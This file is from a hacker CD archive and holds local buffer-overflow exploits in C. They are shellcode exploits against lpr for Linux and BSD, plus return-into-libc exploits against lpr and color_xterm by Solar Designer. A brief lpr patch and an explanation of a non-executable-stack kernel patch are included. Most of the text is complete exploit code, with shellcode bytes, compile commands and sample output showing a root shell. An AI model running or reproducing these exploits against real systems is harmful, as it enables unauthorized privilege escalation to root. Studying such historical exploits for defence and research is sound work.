home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / linux_lpr.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  17.5 KB  |  539 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. #define DEFAULT_OFFSET          50
  6. #define BUFFER_SIZE             1023
  7.  
  8. long get_esp(void)
  9. {
  10.    __asm__("movl %esp,%eax\n");
  11. }
  12.  
  13. void main()
  14. {
  15.    char *buff = NULL;
  16.    unsigned long *addr_ptr = NULL;
  17.    char *ptr = NULL;
  18.  
  19.    u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  20.                         "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  21.                         "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  22.                         "\xd7\xff\xff\xff/bin/sh";
  23.    int i;
  24.  
  25.    buff = malloc(4096);
  26.    if(!buff)
  27.    {
  28.       printf("can't allocate memory\n");
  29.       exit(0);
  30.    }
  31.    ptr = buff;
  32.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  33.    ptr += BUFFER_SIZE-strlen(execshell);
  34.    for(i=0;i < strlen(execshell);i++)
  35.       *(ptr++) = execshell[i];
  36.    addr_ptr = (long *)ptr;
  37.    for(i=0;i<2;i++)
  38.       *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  39.    ptr = (char *)addr_ptr;
  40.    *ptr = 0;
  41.    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  42. }
  43. ------------------------------------------- bsd_lpr_exploit.c ------
  44. #include <stdio.h>
  45. #include <stdlib.h>
  46. #include <unistd.h>
  47.  
  48. #define DEFAULT_OFFSET          50
  49. #define BUFFER_SIZE             1023
  50.  
  51. long get_esp(void)
  52. {
  53.    __asm__("movl %esp,%eax\n");
  54. }
  55.  
  56. void main()
  57. {
  58.    char *buff = NULL;
  59.    unsigned long *addr_ptr = NULL;
  60.    char *ptr = NULL;
  61.  
  62.    char execshell[] =
  63.    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  64.    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  65.    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  66.    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  67.  
  68.    int i;
  69.  
  70.    buff = malloc(4096);
  71.    if(!buff)
  72.    {
  73.       printf("can't allocate memory\n");
  74.       exit(0);
  75.    }
  76.    ptr = buff;
  77.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  78.    ptr += BUFFER_SIZE-strlen(execshell);
  79.    for(i=0;i < strlen(execshell);i++)
  80.       *(ptr++) = execshell[i];
  81.    addr_ptr = (long *)ptr;
  82.    for(i=0;i<2;i++)
  83.       *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  84.    ptr = (char *)addr_ptr;
  85.    *ptr = 0;
  86.    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  87. }
  88. --------------------------------------------------------------------------
  89.  
  90.   Here is a little patch -- see file lpr.c, function card():
  91. ("!!" marks added lines)
  92.  
  93. --------------------------------------------------------------------------
  94. static void card(c, p2)
  95.         register int c;
  96.         register char *p2;
  97. {
  98.         char buf[BUFSIZ];
  99.         register char *p1 = buf;
  100.         register int len = 2;
  101.  
  102.         if (strlen(p2) > BUFSIZ-2)                     /* !! */
  103.         {                                              /* !! */
  104.                 printf("No, thanks...\n");             /* !! */
  105.                 exit(1);                               /* !! */
  106.         }
  107.         *p1++ = c;
  108.         while ((c = *p2++) != '\0') {
  109.                 *p1++ = (c == '\n') ? ' ' : c;
  110.                 len++;
  111.         }
  112.         *p1++ = '\n';
  113.         write(tfd, buf, len);
  114. }
  115.  
  116.  
  117.  
  118. --------------------------------------------------------------------------
  119.  
  120.  
  121. I finally decided to post a return-into-libc overflow exploit. This method
  122. has been discussed on linux-kernel list a few months ago (special thanks to
  123. Pavel Machek), but there was still no exploit. I'll start by speaking about
  124. the fix, you can find the exploits (local only) below.
  125.  
  126. [ I recommend that you read the entire message even if you aren't running
  127. Linux since a lot of the things described here are applicable to other
  128. systems as well (perhaps someone will finally exploit those overflows in
  129. Digital UNIX discussed here last year?). Also, this method might sometimes
  130. be better than usual one (with shellcode) even if the stack is executable. ]
  131.  
  132. You can find the fixed version of my non-executable stack Linux kernel patch
  133. at http://www.false.com/security/linux-stack/.
  134.  
  135. The problem is fixed by changing the address shared libraries are mmap()ed
  136. at in such a way so it always contains a zero byte. With most vulnerabilities
  137. the overflow is done with an ASCIIZ string, so this prevents the attacker
  138. from passing parameters to the function, and from filling the buffer with
  139. a pattern (requires to know the exact offset of the return address). I admit
  140. someone might still find a libc function with no parameters (this also has
  141. to be a single function, you can't call several of them in a row) that does
  142. enough harm, and find the exact offset of the return address. However, this
  143. gets quite complicated, especially for remote exploits, and especially for
  144. those where you have to guess from the first try (and you also need to guess
  145. the address in libc). So, like before, fix known vulnerabilities, and use
  146. the patch to add an extra layer of security against those yet unknown.
  147.  
  148. I also fixed a bug with the binary header flag which allowed local users to
  149. bypass the patch. Thanks to retch for reporting.
  150.  
  151. And one more good thing: I added a symlink-in-/tmp fix, originally by Andrew
  152. Tridgell. I changed it to prevent from using hard links too, by simply not
  153. allowing non-root users to create hard links to files they don't own, in +t
  154. directories. This seems to be the desired behavior anyway, since otherwise
  155. users couldn't remove such links they just created. I also added exploit
  156. attempt logging, this code is shared with the non-executable stack stuff,
  157. and was the reason to make it a single patch instead of two separate ones.
  158. You can enable them separately anyway.
  159.  
  160. And now here goes the exploit for the well-known old overflow in lpr. This
  161. one is simple, so it looks like a good starting point. Note: it doesn't
  162. contain any assembly code, there's only a NOP opcode, but this one will
  163. most likely not be used, it's for the case when system() is occasionally
  164. at a 256 byte boundary. The exploit also doesn't have any fixed addresses.
  165. Be sure to read comments in the exploit before you look at the next one.
  166.  
  167. >-- lpr.c --<
  168.  
  169. /*
  170.  * /usr/bin/lpr buffer overflow exploit for Linux with non-executable stack
  171.  * Copyright (c) 1997 by Solar Designer
  172.  */
  173. #include <stdio.h>
  174. #include <unistd.h>
  175. #include <string.h>
  176. #include <stdlib.h>
  177. #include <signal.h>
  178. #include <setjmp.h>
  179. #include <sys/ptrace.h>
  180. #include <sys/types.h>
  181. #include <sys/wait.h>
  182.  
  183. #define SIZE            1200    /* Amount of data to overflow with */
  184. #define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */
  185.  
  186. #define ADDR_MASK       0xFF000000
  187.  
  188. char buf[SIZE];
  189. int *ptr;
  190.  
  191. int pid, pc, shell, step;
  192. int started = 0;
  193. jmp_buf env;
  194.  
  195. void handler() {
  196.   started++;
  197. }
  198.  
  199. /* SIGSEGV handler, to search in libc */
  200. void fault() {
  201.   if (step < 0) {
  202. /* Change the search direction */
  203.     longjmp(env, 1);
  204.   } else {
  205. /* The search failed in both directions */
  206.     puts("\"/bin/sh\" not found, bad luck");
  207.     exit(1);
  208.   }
  209. }
  210.  
  211. void error(char *fn) {
  212.   perror(fn);
  213.   if (pid > 0) kill(pid, SIGKILL);
  214.   exit(1);
  215. }
  216.  
  217. void main() {
  218.   signal(SIGUSR1, handler);
  219.  
  220. /* Create a child process to trace */
  221.   if ((pid = fork()) < 0) error("fork");
  222.  
  223.   if (!pid) {
  224. /* Send the parent a signal, so it starts tracing */
  225.     kill(getppid(), SIGUSR1);
  226. /* A loop since the parent may not start tracing immediately */
  227.     while (1) system("");
  228.   }
  229.  
  230. /* Wait until the child tells us the next library call will be system() */
  231.   while (!started);
  232.  
  233.   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  234.  
  235. /* Single step the child until it gets out of system() */
  236.   do {
  237.     waitpid(pid, NULL, WUNTRACED);
  238.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  239.     if (pc == -1) error("PTRACE_PEEKUSR");
  240.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  241.   } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  242.  
  243. /* Single step the child until it calls system() again */
  244.   do {
  245.     waitpid(pid, NULL, WUNTRACED);
  246.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  247.     if (pc == -1) error("PTRACE_PEEKUSR");
  248.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  249.   } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  250.  
  251. /* Kill the child, we don't need it any more */
  252.   if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  253.   pid = 0;
  254.  
  255.   printf("system() found at: %08x\n", pc);
  256.  
  257. /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  258.   if (!(pc & 0xFF))
  259.   if (*(unsigned char *)--pc != 0x90) pc = 0;
  260.  
  261. /* There's no easy workaround for these (except for using another function) */
  262.   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
  263.     puts("Zero bytes in address, bad luck");
  264.     exit(1);
  265.   }
  266.  
  267. /*
  268.  * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  269.  * in its address. To avoid specifying the actual address that libc is
  270.  * mmap()ed to we search from the address of system() in both directions
  271.  * until a SIGSEGV is generated.
  272.  */
  273.   if (setjmp(env)) step = 1; else step = -1;
  274.   shell = pc;
  275.   signal(SIGSEGV, fault);
  276.   do
  277.     while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  278.   while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  279.   signal(SIGSEGV, SIG_DFL);
  280.  
  281.   printf("\"/bin/sh\" found at: %08x\n", shell);
  282.  
  283. /*
  284.  * When returning into system() the stack should look like:
  285.  *                              pointer to "/bin/sh"
  286.  *                              return address placeholder
  287.  * stack pointer ->             pointer to system()
  288.  *
  289.  * The buffer could be filled with this 12 byte pattern, but then we would
  290.  * need to try up to 12 values for the alignment. That's why a 16 byte pattern
  291.  * is used instead:
  292.  *                              pointer to "/bin/sh"
  293.  *                              pointer to "/bin/sh"
  294.  * stack pointer (case 1) ->    pointer to system()
  295.  * stack pointer (case 2) ->    pointer to system()
  296.  *
  297.  * Any of the two stack pointer values will do, and only up to 8 values for
  298.  * the alignment need to be tried.
  299.  */
  300.   memset(buf, 'x', ALIGNMENT);
  301.   ptr = (int *)(buf + ALIGNMENT);
  302.   while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
  303.     *ptr++ = pc; *ptr++ = pc;
  304.     *ptr++ = shell; *ptr++ = shell;
  305.   }
  306.   buf[SIZE - 1] = 0;
  307.  
  308.   execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
  309.   error("execl");
  310. }
  311.  
  312. >-- lpr.c --<
  313.  
  314. The exploit above will crash after you exit the shell. This can be fixed by
  315. using a 12 byte pattern (like described in the comment), and setting the
  316. return address to point to exit() (we would need to find it first). This
  317. would however increase the number of possible alignment values to try from
  318. 8 to 12, so I don't do it.
  319.  
  320. Now, a more complicated exploit, for the -xrm libX11 overflow. It has been
  321. tested with color_xterm from Slackware 3.1. Will also work on other xterms
  322. (tested with xterm and nxterm from RedHat 4.2), but providing a user shell
  323. (not root), since these temporarily give up their privileges, and an extra
  324. setuid() call would be required.
  325.  
  326. Actually, using this method it is possible to call two functions in a row
  327. if the first one has exactly one parameter. The stack should look like this:
  328.  
  329.                                 pointer to "/bin/sh"
  330.                                 pointer to the UID (usually to 0)
  331.                                 pointer to system()
  332.  stack pointer ->               pointer to setuid()
  333.  
  334. This will require up to 16 values for the alignment. In this case, setuid()
  335. will return into system(), and while system() is running the pointer to UID
  336. will be at the place where system()'s return address should normally be, so
  337. (again) the thing will crash after you exit the shell (but no solution this
  338. time; who cares anyway?). I leave this setuid() stuff as an exercise for the
  339. reader.
  340.  
  341. Another thing specific to this exploit is that GetDatabase() in libX11 uses
  342. its parameter right before returning, so if we overwrite the return address
  343. and a few bytes after it (like normal pattern filling would do), the exploit
  344. wouldn't work. That was the reason the -xrm exploits posted were not stable,
  345. and required to adjust the size exactly. With returning into libc, this was
  346. not possible at all, since parameters to libc function should be right after
  347. the return address. That's why I do a trick similar to my SuperProbe exploit:
  348. overwrite a pointer to a structure that has a function pointer in it (their
  349. function also has exactly one parameter, I was extremely lucky here again).
  350.  
  351. This trick requires three separate buffers filled with different patterns.
  352. The first buffer is what I overflow with, while the two others are put onto
  353. the stack separately (to make them larger). Again, there's no correct return
  354. address from system(), and a pointer to some place on the stack is there.
  355. This makes it behave quite funny when you exit the shell: an exploit attempt
  356. is logged (when running my patch), since system() returns onto the stack. ;^)
  357. You can just kill the vulnerable program you're running from instead of
  358. exiting the shell if this is undesired.
  359.  
  360. Note that you have to link the exploit with the same shared libraries that
  361. the vulnerable program. Also, it might be required to add 4 to ALIGNMENT2 if
  362. the exploit doesn't work, even if it worked when running as another user...
  363.  
  364. >-- cx.c --<
  365.  
  366. /*
  367.  * color_xterm buffer overflow exploit for Linux with non-executable stack
  368.  * Copyright (c) 1997 by Solar Designer
  369.  *
  370.  * Compile:
  371.  * gcc cx.c -o cx -L/usr/X11/lib \
  372.  * `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
  373.  *
  374.  * Run:
  375.  * $ ./cx
  376.  * system() found at: 401553b0
  377.  * "/bin/sh" found at: 401bfa3d
  378.  * bash# exit
  379.  * Segmentation fault
  380.  */
  381. #include <stdio.h>
  382. #include <unistd.h>
  383. #include <string.h>
  384. #include <stdlib.h>
  385. #include <signal.h>
  386. #include <setjmp.h>
  387. #include <sys/ptrace.h>
  388. #include <sys/types.h>
  389. #include <sys/wait.h>
  390.  
  391. #define SIZE1           1200    /* Amount of data to overflow with */
  392. #define ALIGNMENT1      0       /* 0..3 */
  393. #define OFFSET          22000   /* Structure array offset */
  394. #define SIZE2           16000   /* Structure array size */
  395. #define ALIGNMENT2      5       /* 0, 4, 1..3, 5..7 */
  396. #define SIZE3           SIZE2
  397. #define ALIGNMENT3      (ALIGNMENT2 & 3)
  398.  
  399. #define ADDR_MASK       0xFF000000
  400.  
  401. char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
  402. int *ptr;
  403.  
  404. int pid, pc, shell, step;
  405. int started = 0;
  406. jmp_buf env;
  407.  
  408. void handler() {
  409.   started++;
  410. }
  411.  
  412. /* SIGSEGV handler, to search in libc */
  413. void fault() {
  414.   if (step < 0) {
  415. /* Change the search direction */
  416.     longjmp(env, 1);
  417.   } else {
  418. /* The search failed in both directions */
  419.     puts("\"/bin/sh\" not found, bad luck");
  420.     exit(1);
  421.   }
  422. }
  423.  
  424. void error(char *fn) {
  425.   perror(fn);
  426.   if (pid > 0) kill(pid, SIGKILL);
  427.   exit(1);
  428. }
  429.  
  430. int nz(int value) {
  431.   if (!(value & 0xFF)) value |= 8;
  432.   if (!(value & 0xFF00)) value |= 0x100;
  433.  
  434.   return value;
  435. }
  436.  
  437. void main() {
  438. /*
  439.  * A portable way to get the stack pointer value; why do other exploits use
  440.  * an assembly instruction here?!
  441.  */
  442.   int sp = (int)&sp;
  443.  
  444.   signal(SIGUSR1, handler);
  445.  
  446. /* Create a child process to trace */
  447.   if ((pid = fork()) < 0) error("fork");
  448.  
  449.   if (!pid) {
  450. /* Send the parent a signal, so it starts tracing */
  451.     kill(getppid(), SIGUSR1);
  452. /* A loop since the parent may not start tracing immediately */
  453.     while (1) system("");
  454.   }
  455.  
  456. /* Wait until the child tells us the next library call will be system() */
  457.   while (!started);
  458.  
  459.   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  460.  
  461. /* Single step the child until it gets out of system() */
  462.   do {
  463.     waitpid(pid, NULL, WUNTRACED);
  464.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  465.     if (pc == -1) error("PTRACE_PEEKUSR");
  466.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  467.   } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  468.  
  469. /* Single step the child until it calls system() again */
  470.   do {
  471.     waitpid(pid, NULL, WUNTRACED);
  472.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  473.     if (pc == -1) error("PTRACE_PEEKUSR");
  474.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  475.   } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  476.  
  477. /* Kill the child, we don't need it any more */
  478.   if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  479.   pid = 0;
  480.  
  481.   printf("system() found at: %08x\n", pc);
  482.  
  483. /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  484.   if (!(pc & 0xFF))
  485.   if (*(unsigned char *)--pc != 0x90) pc = 0;
  486.  
  487. /* There's no easy workaround for these (except for using another function) */
  488.   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
  489.     puts("Zero bytes in address, bad luck");
  490.     exit(1);
  491.   }
  492.  
  493. /*
  494.  * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  495.  * in its address. To avoid specifying the actual address that libc is
  496.  * mmap()ed to we search from the address of system() in both directions
  497.  * until a SIGSEGV is generated.
  498.  */
  499.   if (setjmp(env)) step = 1; else step = -1;
  500.   shell = pc;
  501.   signal(SIGSEGV, fault);
  502.   do
  503.     while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  504.   while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  505.   signal(SIGSEGV, SIG_DFL);
  506.  
  507.   printf("\"/bin/sh\" found at: %08x\n", shell);
  508.  
  509. /* buf1 (which we overflow with) is filled with pointers to buf2 */
  510.   memset(buf1, 'x', ALIGNMENT1);
  511.   ptr = (int *)(buf1 + ALIGNMENT1);
  512.   while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
  513.     *ptr++ = nz(sp - OFFSET);           /* db */
  514.   buf1[SIZE1 - 1] = 0;
  515.  
  516. /* buf2 is filled with pointers to "/bin/sh" and to buf3 */
  517.   memset(buf2, 'x', SIZE2 + SIZE3);
  518.   ptr = (int *)(buf2 + ALIGNMENT2);
  519.   while ((char *)ptr < buf2 + SIZE2) {
  520.     *ptr++ = shell;                     /* db->mbstate */
  521.     *ptr++ = nz(sp - OFFSET + SIZE2);   /* db->methods */
  522.   }
  523.  
  524. /* buf3 is filled with pointers to system() */
  525.   ptr = (int *)(buf3 + ALIGNMENT3);
  526.   while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
  527.     *ptr++ = pc;                        /* db->methods->mbfinish */
  528.   buf3[SIZE3 - 1] = 0;
  529.  
  530. /* Put buf2 and buf3 on the stack */
  531.   setenv("BUFFER", buf2, 1);
  532.  
  533. /* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate) */
  534.   execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);
  535.   error("execl");
  536. }
  537.  
  538. >-- cx.c --<
  539.